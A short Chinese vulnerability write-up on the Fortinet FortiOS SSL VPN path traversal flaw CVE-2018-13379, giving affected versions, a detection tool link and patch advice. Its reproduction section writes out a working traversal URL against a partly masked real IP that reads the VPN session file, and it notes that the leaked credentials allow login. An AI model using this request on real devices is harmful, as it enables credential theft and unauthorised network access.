Fortinet FortiOS 路径遍历漏洞（CVE-2018-13379）

漏洞介绍

Fortinet FortiOS是美国飞塔（Fortinet）公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、VPN、Web内容过滤和反垃圾邮件等多种安全功能。

Fortinet FortiOS路径遍历漏洞（CNNVD-201905-1026、CVE-2018-13379）

漏洞源于该系统未能正确地过滤资源或文件路径中的特殊元素，导致攻击者可以利用该漏洞访问受限目录以外的位置。Fortinet FortiOS 5.6.3版本至5.6.7版本、6.0.0版本至6.0.4版本中的SSL VPN 受此漏洞影响。

影响版本

Fortinet FortiOS 5.6.3版本至5.6.7版本、

Fortinet FortiOS 6.0.0版本至6.0.4版本

中的SSL VPN 受此漏洞影响。

漏洞复现

https://218.xx.xx.xx:8443/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession

利用泄露的账号密码可以登录

检测工具

​​https://github.com/ianxtianxt/CVE-2018-13379​​

漏洞修复

Fortigate官方已发布升级补丁修复了该漏洞，建议用户尽快将Fontigate升级到FortiOS 5.4.11、5.6.9、6.0.5、6.2.0或更高版本，从而修补漏洞带来的危害。官方补丁链接如下：

​​https://fortiguard.com/psirt/FG-IR-18-384​​